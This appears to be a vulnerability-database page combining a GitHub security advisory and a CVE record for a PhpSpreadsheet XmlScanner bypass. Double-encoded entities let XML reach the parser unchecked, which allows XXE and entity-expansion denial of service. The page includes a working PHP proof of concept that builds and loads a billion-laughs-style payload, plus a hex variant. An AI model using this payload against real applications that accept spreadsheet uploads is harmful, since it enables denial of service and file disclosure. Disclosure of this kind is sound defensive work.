Vulnerability-Lookup

GHSA-RXJ4-H86G-25GC

Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38

Summary

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

Details

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack	PHP < 8.0 / libxml2 < 2.9	PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup)	Exploitable	Exploitable
Local file read via SYSTEM entity	Exploitable	Blocked by default
SSRF via SYSTEM entity	Exploitable	Blocked by default
File read when LIBXML_NOENT is used	Exploitable	Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:38:22Z",
    "nvd_published_at": "2026-10-22T18:17:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan\u0027s pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87\u2013108) \u2014 checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = \u0027/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/\u0027;\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79\u2013117) \u2014 scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120\u2013150) \u2014 re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       \u0026#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#38;) = \u0026\n                         |\nStored:         \u0026#60;!DOCTYPE\n                         |\n2nd scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE \u2190 never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54\u201361) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; \u2192 \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; \u2192 \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat(\u0027A\u0027, 100000);\n$refs = str_repeat(\u0027\u0026big;\u0027, 200);\n\n$xml = \u0027\u003c?xml version=\"1.0\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u0026#38;#60;!DOCTYPE Workbook [\u0027 . \"\\n\"\n    . \u0027  \u0026#38;#60;!ENTITY big \"\u0027 . $entity_value . \u0027\"\u003e\u0027 . \"\\n\"\n    . \u0027]\u003e\u0027 . \"\\n\"\n    . \u0027\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\u0027 . \"\\n\"\n    . \u0027  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\u0027 . \"\\n\"\n    . \u0027  \u003cWorksheet ss:Name=\"Sheet1\"\u003e\u0027 . \"\\n\"\n    . \u0027    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e\u0027 . $refs . \u0027\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e\u0027 . \"\\n\"\n    . \u0027  \u003c/Worksheet\u003e\u0027 . \"\\n\"\n    . \u0027\u003c/Workbook\u003e\u0027;\n\nfile_put_contents(\u0027poc.xml\u0027, $xml);\necho \"File size: \" . filesize(\u0027poc.xml\u0027) . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead(\u0027poc.xml\u0027) ? \u0027true\u0027 : \u0027false\u0027) . \"\\n\";\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell(\u0027A1\u0027)-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet\u0027s max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` \u2014 both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet\u0027s `Xml` reader is vulnerable.",
  "id": "GHSA-rxj4-h86g-25gc",
  "modified": "2026-10-27T15:38:23Z",
  "published": "2026-10-27T15:38:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service"
}

CVE-2026-108357 (GCVE-0-2026-108357)

Vulnerability from cvelistv5 – Published: 2026-10-22 17:38 – Updated: 2026-10-23 21:08

Title

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

Summary

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-23 17:32 UTC

CWE

CWE-611 - Improper Restriction of XML External Entity Reference
CWE-776 - Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8035 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 3.3.0, < 3.10.8 Affected: >= 4.0.0, < 5.10.0

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-108357",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-23T17:32:57.479788Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-23T21:08:17.784Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.10.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 5.10.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-611",
              "description": "CWE-611: Improper Restriction of XML External Entity Reference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-776",
              "description": "CWE-776: Improper Restriction of Recursive Entity References in DTDs (\u0027XML Entity Expansion\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-22T17:38:16.098Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
        }
      ],
      "source": {
        "advisory": "GHSA-rxj4-h86g-25gc",
        "discovery": "UNKNOWN"
      },
      "title": "PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-108357",
    "datePublished": "2026-10-22T17:38:16.098Z",
    "dateReserved": "2026-10-09T20:32:44.301Z",
    "dateUpdated": "2026-10-23T21:08:17.784Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-RXJ4-H86G-25GC

Summary

Details

PoC

Impact

CVE-2026-108357 (GCVE-0-2026-108357)

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Vulnerability timeline

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